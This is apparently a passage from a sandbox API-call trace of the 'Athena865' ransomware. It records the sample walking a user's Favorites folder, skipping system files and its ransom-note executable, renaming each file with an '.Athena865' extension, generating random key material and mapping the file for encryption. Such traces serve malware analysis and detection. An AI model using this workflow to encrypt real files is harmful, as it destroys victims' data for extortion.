[0101.774] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1 [0101.774] lstrlenW (lpString="dbv") returned 3 [0101.774] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1 [0101.774] lstrlenW (lpString="dbx") returned 3 [0101.775] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1 [0101.775] lstrlenW (lpString="dcb") returned 3 [0101.775] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1 [0101.775] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Athena865") returned 114 [0101.775] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.athena865"), dwFlags=0x1) returned 1 [0101.776] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.776] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.776] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.776] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.777] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.777] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.777] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.779] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.780] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.780] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.780] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.781] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.781] CloseHandle (hObject=0x17c) returned 1 [0101.781] CloseHandle (hObject=0x154) returned 1 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.782] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".") returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="..") returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="windows") returned -1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="bootmgr") returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="temp") returned -1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="pagefile.sys") returned -1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="boot") returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ids.txt") returned 1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="ntuser.dat") returned -1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="perflogs") returned -1 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2="MSBuild") returned -1 [0101.782] lstrlenW (lpString="Microsoft At Home.url") returned 21 [0101.782] lstrcpyW (in: lpString1=0x241e8e0, lpString2="Microsoft At Home.url" | out: lpString1="Microsoft At Home.url") returned="Microsoft At Home.url" [0101.782] lstrlenW (lpString="Microsoft At Home.url") returned 21 [0101.782] lstrlenW (lpString="Athena865") returned 9 [0101.782] lstrcmpiW (lpString1=" Home.url", lpString2="Athena865") returned -1 [0101.782] lstrlenW (lpString=".dll") returned 4 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".dll") returned 1 [0101.782] lstrlenW (lpString=".lnk") returned 4 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".lnk") returned 1 [0101.782] lstrlenW (lpString=".ini") returned 4 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".ini") returned 1 [0101.782] lstrlenW (lpString=".sys") returned 4 [0101.782] lstrcmpiW (lpString1="Microsoft At Home.url", lpString2=".sys") returned 1 [0101.782] lstrlenW (lpString="Microsoft At Home.url") returned 21 [0101.782] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Athena865") returned 107 [0101.783] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.athena865"), dwFlags=0x1) returned 1 [0101.783] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.784] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.784] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.785] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.785] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.785] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.787] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.788] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.788] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.788] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.789] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.789] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.789] CloseHandle (hObject=0x17c) returned 1 [0101.789] CloseHandle (hObject=0x154) returned 1 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.790] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".") returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="..") returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="windows") returned -1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="bootmgr") returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="temp") returned -1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="pagefile.sys") returned -1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="boot") returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ids.txt") returned 1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="ntuser.dat") returned -1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="perflogs") returned -1 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2="MSBuild") returned -1 [0101.790] lstrlenW (lpString="Microsoft At Work.url") returned 21 [0101.790] lstrcpyW (in: lpString1=0x241e8e0, lpString2="Microsoft At Work.url" | out: lpString1="Microsoft At Work.url") returned="Microsoft At Work.url" [0101.790] lstrlenW (lpString="Microsoft At Work.url") returned 21 [0101.790] lstrlenW (lpString="Athena865") returned 9 [0101.790] lstrcmpiW (lpString1=" Work.url", lpString2="Athena865") returned -1 [0101.790] lstrlenW (lpString=".dll") returned 4 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".dll") returned 1 [0101.790] lstrlenW (lpString=".lnk") returned 4 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".lnk") returned 1 [0101.790] lstrlenW (lpString=".ini") returned 4 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".ini") returned 1 [0101.790] lstrlenW (lpString=".sys") returned 4 [0101.790] lstrcmpiW (lpString1="Microsoft At Work.url", lpString2=".sys") returned 1 [0101.791] lstrlenW (lpString="Microsoft At Work.url") returned 21 [0101.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Athena865") returned 107 [0101.791] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.athena865"), dwFlags=0x1) returned 1 [0101.791] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.792] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0101.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.792] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.792] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.793] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.793] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.793] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.795] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.796] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.796] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.796] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.797] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.797] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.797] CloseHandle (hObject=0x17c) returned 1 [0101.797] CloseHandle (hObject=0x154) returned 1 [0101.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.798] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".") returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="..") returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="windows") returned -1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="bootmgr") returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="temp") returned -1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="pagefile.sys") returned -1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="boot") returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ids.txt") returned 1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="ntuser.dat") returned -1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="perflogs") returned -1 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2="MSBuild") returned -1 [0101.798] lstrlenW (lpString="Microsoft Store.url") returned 19 [0101.798] lstrcpyW (in: lpString1=0x241e8e0, lpString2="Microsoft Store.url" | out: lpString1="Microsoft Store.url") returned="Microsoft Store.url" [0101.798] lstrlenW (lpString="Microsoft Store.url") returned 19 [0101.798] lstrlenW (lpString="Athena865") returned 9 [0101.798] lstrcmpiW (lpString1="Store.url", lpString2="Athena865") returned 1 [0101.798] lstrlenW (lpString=".dll") returned 4 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".dll") returned 1 [0101.798] lstrlenW (lpString=".lnk") returned 4 [0101.798] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".lnk") returned 1 [0101.798] lstrlenW (lpString=".ini") returned 4 [0101.799] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".ini") returned 1 [0101.799] lstrlenW (lpString=".sys") returned 4 [0101.799] lstrcmpiW (lpString1="Microsoft Store.url", lpString2=".sys") returned 1 [0101.799] lstrlenW (lpString="Microsoft Store.url") returned 19 [0101.799] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.Athena865") returned 105 [0101.799] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.athena865"), dwFlags=0x1) returned 1 [0101.800] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0101.800] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=134) returned 1 [0101.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0101.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0101.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0101.801] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0101.801] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0101.801] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.802] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0101.804] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0101.804] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0101.805] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0101.805] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0101.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0101.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0101.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528188 [0101.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0101.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0101.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x528188 [0101.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0101.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528188 | out: hHeap=0x4f0000) returned 1 [0101.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0101.806] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0101.806] CloseHandle (hObject=0x17c) returned 1 [0101.806] CloseHandle (hObject=0x154) returned 1 [0101.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0101.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0101.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0101.806] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0101.806] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0101.806] ReleaseMutex (hMutex=0xec) returned 1 [0101.806] CloseHandle (hObject=0xec) returned 1 [0101.806] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0101.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50de28 | out: hHeap=0x4f0000) returned 1 [0101.806] HeapFree (in: hHeap=0x4f0000, 